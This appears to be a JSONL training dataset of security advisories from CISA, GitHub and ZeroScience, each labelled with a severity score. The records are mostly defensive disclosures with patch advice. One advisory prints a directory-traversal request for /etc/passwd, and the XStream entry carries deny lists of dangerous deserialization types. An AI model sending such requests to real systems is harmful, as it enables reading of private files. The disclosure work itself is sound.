-{"id": "e1fae5ab9edb96845711", "text": "Microsoft Windows Installer Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Installer contains a privilege escalation vulnerability when MSI packages process symbolic links, which allows attackers to bypass access restrictions to add or remove files.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Installer Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows Installer contains a privilege escalation vulnerability when MSI packages process symbolic links, which allows attackers to bypass access restrictions to add or remove files.\n\nRequired Action: Apply updates per vendor instructions.\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "bc03788622491edbaf18", "text": "Arbitrary file reading vulnerability in Aim\n\n### Impact\nA path traversal attack aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.\n\nVulnerable code: https://github.com/aimhubio/aim/blob/0b99c6ca08e0ba7e7011453a2f68033e9b1d1bce/aim/web/api/views.py#L9-L16\n\n### Patches\nThe vulnerability issue is resolved in Aim v3.1.0.\n\n### References\nhttps://owasp.org/www-community/attacks/Path_Traversal", "text_raw": "Arbitrary file reading vulnerability in Aim\n\n[Severity: CRITICAL]\n\n### Impact\nA path traversal attack aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.\n\nVulnerable code: https://github.com/aimhubio/aim/blob/0b99c6ca08e0ba7e7011453a2f68033e9b1d1bce/aim/web/api/views.py#L9-L16\n\n### Patches\nThe vulnerability issue is resolved in Aim v3.1.0.\n\n### References\nhttps://owasp.org/www-community/attacks/Path_Traversal\n\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-23", "split": "train"}
-{"id": "57b05bd7058c41162d71", "text": "Directory Traversal in list-n-stream\n\nAffected versions of `list-n-stream` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nUpdate to version 0.0.11 or later.", "text_raw": "Directory Traversal in list-n-stream\n\n[Severity: HIGH]\n\nAffected versions of `list-n-stream` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nUpdate to version 0.0.11 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "a2cd8e577565745a9758", "text": "Ovidentia 7.9.4 Multiple Remote Vulnerabilities", "text_raw": "Ovidentia 7.9.4 Multiple Remote Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-08-22", "split": "train"}
-{"id": "c5e181256574a59b05c1", "text": "Cross-site scripting in RESTEasy\n\nA cross-site scripting (XSS) flaw was found in RESTEasy in versions before 3.11.1.Final and before 4.5.3.Final, where it did not properly handle URL encoding when the RESTEASY003870 exception occurs. An attacker could use this flaw to launch a reflected XSS attack.", "text_raw": "Cross-site scripting in RESTEasy\n\n[Severity: MEDIUM]\n\nA cross-site scripting (XSS) flaw was found in RESTEasy in versions before 3.11.1.Final and before 4.5.3.Final, where it did not properly handle URL encoding when the RESTEASY003870 exception occurs. An attacker could use this flaw to launch a reflected XSS attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "8b91ef7637ffc4f74488", "text": "Denial of service attack via push rule patterns in matrix-synapse\n\n### Impact\n\n\"Push rules\" can specify [conditions](https://matrix.org/docs/spec/client_server/r0.6.1#conditions) under which they will match, including `event_match`, which matches event content against a pattern including wildcards.\n\nCertain patterns can cause very poor performance in the matching engine, leading to a denial-of-service when processing moderate length events.\n\n### Patches\n\nThe issue is patched by https://github.com/matrix-org/synapse/commit/03318a766cac9f8b053db2214d9c332a977d226c.\n\n### Workarounds\n\nA potential workaround might be to prevent users from making custom push rules, by blocking such requests at a reverse-proxy.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "text_raw": "Denial of service attack via push rule patterns in matrix-synapse\n\n[Severity: MEDIUM]\n\n### Impact\n\n\"Push rules\" can specify [conditions](https://matrix.org/docs/spec/client_server/r0.6.1#conditions) under which they will match, including `event_match`, which matches event content against a pattern including wildcards.\n\nCertain patterns can cause very poor performance in the matching engine, leading to a denial-of-service when processing moderate length events.\n\n### Patches\n\nThe issue is patched by https://github.com/matrix-org/synapse/commit/03318a766cac9f8b053db2214d9c332a977d226c.\n\n### Workarounds\n\nA potential workaround might be to prevent users from making custom push rules, by blocking such requests at a reverse-proxy.\n\n### For more information\n\nIf you have any questions or comments about this advisory, email us at security@matrix.org.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-13", "split": "train"}
-{"id": "424ad6a45dea2af842e9", "text": "Improper Verification of Cryptographic Signature in fastecdsa\n\nAn issue was discovered in fastecdsa before 2.1.2. When using the NIST P-256 curve in the ECDSA implementation, the point at infinity is mishandled. This means that for an extreme value in k and s<sup>-1</sup>, the signature verification fails even if the signature is correct. This behavior is not solely a usability problem. There are some threat models where an attacker can benefit by successfully guessing users for whom signature verification will fail.", "text_raw": "Improper Verification of Cryptographic Signature in fastecdsa\n\n[Severity: HIGH]\n\nAn issue was discovered in fastecdsa before 2.1.2. When using the NIST P-256 curve in the ECDSA implementation, the point at infinity is mishandled. This means that for an extreme value in k and s<sup>-1</sup>, the signature verification fails even if the signature is correct. This behavior is not solely a usability problem. There are some threat models where an attacker can benefit by successfully guessing users for whom signature verification will fail.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "0b3298252c1cc1eb8a39", "text": "Microsoft Internet Explorer Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains an unspecified vulnerability that allows for memory corruption.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Internet Explorer Memory Corruption Vulnerability\n\nAffected: Microsoft Internet Explorer\n\nMicrosoft Internet Explorer contains an unspecified vulnerability that allows for memory corruption.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "7b9b8f3efa5659966cad", "text": "Malicious Package in singale\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in singale\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "225e9dfaf4318d6555e6", "text": "Confused Deputy in Kubernetes\n\nA security issue was discovered with Kubernetes that could enable users to send network traffic to locations they would otherwise not have access to via a confused deputy attack.", "text_raw": "Confused Deputy in Kubernetes\n\n[Severity: LOW]\n\nA security issue was discovered with Kubernetes that could enable users to send network traffic to locations they would otherwise not have access to via a confused deputy attack.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-09-21", "split": "train"}
-{"id": "f701a529fe90b8381ac2", "text": "modern-async's `forEachSeries` and `forEachLimit` functions do not limit the number of requests\n\n### Impact\n\nThis is a bug affecting two of the functions in this library: `forEachSeries` and `forEachLimit`. They should limit the concurrency of some actions but, in practice, they don't. Any code calling these functions will be written thinking they would limit the concurrency but they won't. This could lead to potential security issues in other projects.\n\n### Patches\n\nThe problem has been patched in 1.0.4.\n\n### Workarounds\n\nThere is no workaround aside from upgrading to 1.0.4.", "text_raw": "modern-async's `forEachSeries` and `forEachLimit` functions do not limit the number of requests\n\n[Severity: HIGH]\n\n### Impact\n\nThis is a bug affecting two of the functions in this library: `forEachSeries` and `forEachLimit`. They should limit the concurrency of some actions but, in practice, they don't. Any code calling these functions will be written thinking they would limit the concurrency but they won't. This could lead to potential security issues in other projects.\n\n### Patches\n\nThe problem has been patched in 1.0.4.\n\n### Workarounds\n\nThere is no workaround aside from upgrading to 1.0.4.\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-21", "split": "train"}
-{"id": "3042c015097e48a0b67c", "text": "github.com/u-root/u-root/pkg/tarutil Arbitrary File Write via Archive Extraction (Zip Slip)\n\nThis affects all versions up to and including version 0.7.0 of package github.com/u-root/u-root/pkg/tarutil. It is vulnerable to both leading and non-leading relative path traversal attacks in tar file extraction.", "text_raw": "github.com/u-root/u-root/pkg/tarutil Arbitrary File Write via Archive Extraction (Zip Slip)\n\n[Severity: HIGH]\n\nThis affects all versions up to and including version 0.7.0 of package github.com/u-root/u-root/pkg/tarutil. It is vulnerable to both leading and non-leading relative path traversal attacks in tar file extraction.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "955e3785e69fe34df9d6", "text": "Auth bypass in SAML provider\n\n### Impact\n\nThe following vulnerabilities have been disclosed, which impact users leveraging the SAML auth provider:\n\n- [`goxmldsig` - Signature Validation Bypass](https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7)\n- [`gosaml2` - Authentication Bypass](https://github.com/russellhaering/gosaml2/security/advisories/GHSA-xhqq-x44f-9fgg)\n\n### Patches\n\n[Patch available](https://github.com/netlify/gotrue/pull/274)\n\nPlease upgrade to v1.0.0 or commit hash `a2b4dd6bc4ef7562d1df044098b303f564eefa90`\n\n### Workarounds\n\nNo known workarounds.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [gotrue](https://github.com/netlify/gotrue/issues)\n* Email us at [security@netlify.com](mailto:security@netlify.com)", "text_raw": "Auth bypass in SAML provider\n\n[Severity: CRITICAL]\n\n### Impact\n\nThe following vulnerabilities have been disclosed, which impact users leveraging the SAML auth provider:\n\n- [`goxmldsig` - Signature Validation Bypass](https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7)\n- [`gosaml2` - Authentication Bypass](https://github.com/russellhaering/gosaml2/security/advisories/GHSA-xhqq-x44f-9fgg)\n\n### Patches\n\n[Patch available](https://github.com/netlify/gotrue/pull/274)\n\nPlease upgrade to v1.0.0 or commit hash `a2b4dd6bc4ef7562d1df044098b303f564eefa90`\n\n### Workarounds\n\nNo known workarounds.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [gotrue](https://github.com/netlify/gotrue/issues)\n* Email us at [security@netlify.com](mailto:security@netlify.com)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "635c46f120ddd45f9ff0", "text": "TECO JN5 L510-DriveLink 1.482 SEH Overwrite Buffer Overflow Exploit", "text_raw": "TECO JN5 L510-DriveLink 1.482 SEH Overwrite Buffer Overflow Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-11-15", "split": "train"}
-{"id": "cead12a05064baa89847", "text": "Mozilla Firefox And Thunderbird Use-After-Free Vulnerability\n\nAffected: Mozilla Firefox and Thunderbird\n\nMozilla Firefox and Thunderbird contain a race condition vulnerability when handling a ReadableStream under certain conditions. The race condition creates a use-after-free vulnerability, causing unspecified impacts.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-362\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Mozilla Firefox And Thunderbird Use-After-Free Vulnerability\n\nAffected: Mozilla Firefox and Thunderbird\n\nMozilla Firefox and Thunderbird contain a race condition vulnerability when handling a ReadableStream under certain conditions. The race condition creates a use-after-free vulnerability, causing unspecified impacts.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-362\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "d41768a248420ed90f3e", "text": "Cayin Digital Signage System xPost 2.5 Pre-Auth SQLi Remote Code Execution", "text_raw": "Cayin Digital Signage System xPost 2.5 Pre-Auth SQLi Remote Code Execution\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2020-06-04", "split": "train"}
-{"id": "7f29e4b7168428b3e651", "text": "Ajaxel CMS 8.0 Multiple Vulnerabilities", "text_raw": "Ajaxel CMS 8.0 Multiple Vulnerabilities\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2016-05-06", "split": "train"}
-{"id": "dfe5e6c76f3f1f7787e3", "text": "Malicious Package in js-sja3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in js-sja3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "849ba4fc5fdccb9dd1f7", "text": "Arm Mali Graphics Processing Unit (GPU) Use-After-Free Vulnerability\n\nAffected: Arm Mali Graphics Processing Unit (GPU)\n\nArm Mali Graphics Processing Unit (GPU) kernel driver contains a use-after-free vulnerability that may allow a non-privileged user to make improper operations on GPU memory to gain root privilege, and/or disclose information.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Arm Mali Graphics Processing Unit (GPU) Use-After-Free Vulnerability\n\nAffected: Arm Mali Graphics Processing Unit (GPU)\n\nArm Mali Graphics Processing Unit (GPU) kernel driver contains a use-after-free vulnerability that may allow a non-privileged user to make improper operations on GPU memory to gain root privilege, and/or disclose information.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-416\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "7cb485627a49eb017851", "text": "Cross-site scripting in Products.CMFCore, Products.PluggableAuthService, Plone\n\nZope Products.CMFCore before 2.5.1 and Products.PluggableAuthService before 2.6.2, as used in Plone through 5.2.4 and other products, allow Reflected XSS.", "text_raw": "Cross-site scripting in Products.CMFCore, Products.PluggableAuthService, Plone\n\n[Severity: MEDIUM]\n\nZope Products.CMFCore before 2.5.1 and Products.PluggableAuthService before 2.6.2, as used in Plone through 5.2.4 and other products, allow Reflected XSS.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "2e594ca9e3b2b8294a05", "text": "Plone and Zope2 vulnerable to unauthorized access to restricted attributes\n\nThe App.Undo.UndoSupport.get_request_var_or_attr function in Zope before 2.12.21 and 3.13.x before 2.13.11, as used in Plone before 4.2.3 and 4.3 before beta 1, allows remote authenticated users to gain access to restricted attributes via unspecified vectors.", "text_raw": "Plone and Zope2 vulnerable to unauthorized access to restricted attributes\n\n[Severity: HIGH]\n\nThe App.Undo.UndoSupport.get_request_var_or_attr function in Zope before 2.12.21 and 3.13.x before 2.13.11, as used in Plone before 4.2.3 and 4.3 before beta 1, allows remote authenticated users to gain access to restricted attributes via unspecified vectors.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "8c30242a802579d05481", "text": "Dangling reference in flatbuffers\n\nAn issue was discovered in the flatbuffers crate through 2020-04-11 for Rust. read_scalar (and read_scalar_at) can transmute values without unsafe blocks.", "text_raw": "Dangling reference in flatbuffers\n\n[Severity: HIGH]\n\nAn issue was discovered in the flatbuffers crate through 2020-04-11 for Rust. read_scalar (and read_scalar_at) can transmute values without unsafe blocks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "ce34f17a0ebbea79139c", "text": "Discovery uses the same AES/GCM Nonce throughout the session\n\nDiscovery uses the same AES/GCM Nonce throughout the session though it should be generated on per message basis which can lead to the leaking of the session key.  As the actual ENR record is signed with a different key it is not possible for an attacker to alter the ENR record. Note that the node private key is not compromised, only the session key generated to communicate with an individual peer.\n\nFrom [discovery spec](https://github.com/ethereum/devp2p/blob/f97b8a5b8e9589d3355ebbd9d4a58d5d1644bdf7/discv5/discv5-theory.md#session-cache):\n> The number of messages which can be encrypted with a certain session key is limited because encryption of each message requires a unique nonce for AES-GCM. In addition to the keys, the session cache must also keep track of the count of outgoing messages to ensure the uniqueness of nonce values. Since the wire protocol uses 96 bit AES-GCM nonces, it is strongly recommended to generate them by encoding the current outgoing message count into the first 32 bits of the nonce and filling the remaining 64 bits with random data generated by a cryptographically secure random number generator.", "text_raw": "Discovery uses the same AES/GCM Nonce throughout the session\n\n[Severity: LOW]\n\nDiscovery uses the same AES/GCM Nonce throughout the session though it should be generated on per message basis which can lead to the leaking of the session key.  As the actual ENR record is signed with a different key it is not possible for an attacker to alter the ENR record. Note that the node private key is not compromised, only the session key generated to communicate with an individual peer.\n\nFrom [discovery spec](https://github.com/ethereum/devp2p/blob/f97b8a5b8e9589d3355ebbd9d4a58d5d1644bdf7/discv5/discv5-theory.md#session-cache):\n> The number of messages which can be encrypted with a certain session key is limited because encryption of each message requires a unique nonce for AES-GCM. In addition to the keys, the session cache must also keep track of the count of outgoing messages to ensure the uniqueness of nonce values. Since the wire protocol uses 96 bit AES-GCM nonces, it is strongly recommended to generate them by encoding the current outgoing message count into the first 32 bits of the nonce and filling the remaining 64 bits with random data generated by a cryptographically secure random number generator.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "303a90808d4437d6b44c", "text": "Authz Module Non-Determinism\n\n### Impact\n\nConsensus failure for 0.43.x and 0.44.{0,1} users. \nFunds and balances are safe.\n\n### Patches\n\n0.44.2\n\n### Workarounds\n\nManually patch the code.\n\n---\n\nFull details posted in https://forum.cosmos.network/t/cosmos-sdk-vulnerability-retrospective-security-advisory-jackfruit-october-12-2021/5349.", "text_raw": "Authz Module Non-Determinism\n\n[Severity: MEDIUM]\n\n### Impact\n\nConsensus failure for 0.43.x and 0.44.{0,1} users. \nFunds and balances are safe.\n\n### Patches\n\n0.44.2\n\n### Workarounds\n\nManually patch the code.\n\n---\n\nFull details posted in https://forum.cosmos.network/t/cosmos-sdk-vulnerability-retrospective-security-advisory-jackfruit-october-12-2021/5349.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-21", "split": "train"}
-{"id": "13aa6e5c59c196472b49", "text": "user-readable api tokens in systemd units for JupyterHub\n\n### Impact\nuser API tokens issued to single-user servers are specified in the environment of systemd units, which are accessible to all users.\n\nIn particular, the-littlest-jupyterhub is affected, which uses systemdspawner by default.\n\n### Patches\nPatched in jupyterhub-systemdspawner v0.15\n\n### Workarounds\nNo workaround other than upgrading systemdspawner to 0.15\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open a thread in [the Jupyter forum](https://discourse.jupyter.org)\n* Email us at [security@ipython.org](mailto:security@ipython.org)", "text_raw": "user-readable api tokens in systemd units for JupyterHub\n\n[Severity: HIGH]\n\n### Impact\nuser API tokens issued to single-user servers are specified in the environment of systemd units, which are accessible to all users.\n\nIn particular, the-littlest-jupyterhub is affected, which uses systemdspawner by default.\n\n### Patches\nPatched in jupyterhub-systemdspawner v0.15\n\n### Workarounds\nNo workaround other than upgrading systemdspawner to 0.15\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open a thread in [the Jupyter forum](https://discourse.jupyter.org)\n* Email us at [security@ipython.org](mailto:security@ipython.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-12-09", "split": "train"}
-{"id": "cd248e78ad623b23df9a", "text": "XStream vulnerable to an Arbitrary File Deletion on the local host when unmarshalling\n\n### Impact\nThe vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing process has sufficient rights only by manipulating the processed input stream.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.15.\n\n### Workarounds\nThe reported vulnerability does only exist with a JAX-WS runtime on the classpath.\n\nNo user is affected, who followed the recommendation to setup XStream's Security Framework with a whitelist! Anyone relying on XStream's default blacklist can immediately switch to a whilelist for the allowed types to avoid the vulnerability.\n\nUsers of XStream 1.4.14 or below who still insist to use XStream default blacklist - despite that clear recommendation - can use a workaround depending on their version in use.\n\nUsers of XStream 1.4.14 can simply add two lines to XStream's setup code:\n```Java\nxstream.denyTypes(new String[]{ \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\n\nUsers of XStream 1.4.14 to 1.4.13 can simply add three lines to XStream's setup code:\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\", \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\nUsers of XStream 1.4.12 to 1.4.7 who want to use XStream with a black list will have to setup such a list from scratch and deny at least the following types: _javax.imageio.ImageIO$ContainsFilter_, _java.beans.EventHandler_, _java.lang.ProcessBuilder_, _jdk.nashorn.internal.objects.NativeString.class_, _java.lang.Void_ and _void_ and deny several types by name pattern.\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\", \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, \"jdk.nashorn.internal.objects.NativeString\", java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\$LazyIterator\", \"javax\\\\.crypto\\\\..*\", \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\nUsers of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:\n```Java\nxstream.registerConverter(new Converter() {\n  public boolean canConvert(Class type) {\n    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class\n        || type.getName().equals(\"javax.imageio.ImageIO$ContainsFilter\") || type.getName().equals(\"jdk.nashorn.internal.objects.NativeString\")\n        || type == java.lang.Void.class || void.class || Proxy.isProxy(type))\n        || type.getName().startsWith(\"javax.crypto.\") || type.getName().endsWith(\"$LazyIterator\") || type.getName().endsWith(\".ReadAllStream$FileStream\"));\n  }\n\npublic Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n\npublic void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n}, XStream.PRIORITY_LOW);\n```\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "text_raw": "XStream vulnerable to an Arbitrary File Deletion on the local host when unmarshalling\n\n[Severity: MEDIUM]\n\n### Impact\nThe vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing process has sufficient rights only by manipulating the processed input stream.\n\n### Patches\nIf you rely on XStream's default blacklist of the [Security Framework](https://x-stream.github.io/security.html#framework), you will have to use at least version 1.4.15.\n\n### Workarounds\nThe reported vulnerability does only exist with a JAX-WS runtime on the classpath.\n\nNo user is affected, who followed the recommendation to setup XStream's Security Framework with a whitelist! Anyone relying on XStream's default blacklist can immediately switch to a whilelist for the allowed types to avoid the vulnerability.\n\nUsers of XStream 1.4.14 or below who still insist to use XStream default blacklist - despite that clear recommendation - can use a workaround depending on their version in use.\n\nUsers of XStream 1.4.14 can simply add two lines to XStream's setup code:\n```Java\nxstream.denyTypes(new String[]{ \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\n\nUsers of XStream 1.4.14 to 1.4.13 can simply add three lines to XStream's setup code:\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\", \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\nUsers of XStream 1.4.12 to 1.4.7 who want to use XStream with a black list will have to setup such a list from scratch and deny at least the following types: _javax.imageio.ImageIO$ContainsFilter_, _java.beans.EventHandler_, _java.lang.ProcessBuilder_, _jdk.nashorn.internal.objects.NativeString.class_, _java.lang.Void_ and _void_ and deny several types by name pattern.\n```Java\nxstream.denyTypes(new String[]{ \"javax.imageio.ImageIO$ContainsFilter\", \"jdk.nashorn.internal.objects.NativeString\" });\nxstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, \"jdk.nashorn.internal.objects.NativeString\", java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });\nxstream.denyTypesByRegExp(new String[]{ \".*\\\\$LazyIterator\", \"javax\\\\.crypto\\\\..*\", \".*\\\\.ReadAllStream\\\\$FileStream\" });\n```\nUsers of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:\n```Java\nxstream.registerConverter(new Converter() {\n  public boolean canConvert(Class type) {\n    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class\n        || type.getName().equals(\"javax.imageio.ImageIO$ContainsFilter\") || type.getName().equals(\"jdk.nashorn.internal.objects.NativeString\")\n        || type == java.lang.Void.class || void.class || Proxy.isProxy(type))\n        || type.getName().startsWith(\"javax.crypto.\") || type.getName().endsWith(\"$LazyIterator\") || type.getName().endsWith(\".ReadAllStream$FileStream\"));\n  }\n\n  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n\n  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {\n    throw new ConversionException(\"Unsupported type due to security reasons.\");\n  }\n}, XStream.PRIORITY_LOW);\n```\n  \n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [XStream](https://github.com/x-stream/xstream/issues)\n* Contact us at [XStream Google Group](https://groups.google.com/group/xstream-user)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-21", "split": "train"}
-{"id": "def4d034ac453a6cd13e", "text": "noderequest is malware\n\nThe `noderequest` package is a piece of malware that steals environment variables and sends them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there.\n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables.\n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "noderequest is malware\n\n[Severity: HIGH]\n\nThe `noderequest` package is a piece of malware that steals environment variables and sends them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\n\nAs this package is malware, if you find it installed in your environment, the real security concern is determining how it got there. \n\nIf you have found this installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your registry credentials, tokens, and any other sensitive credentials that may have been present in your environment variables. \n\nAdditionally, any service which may have been exposed via credentials in your environment variables, such as a database, should be reviewed for indicators of compromise as well.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
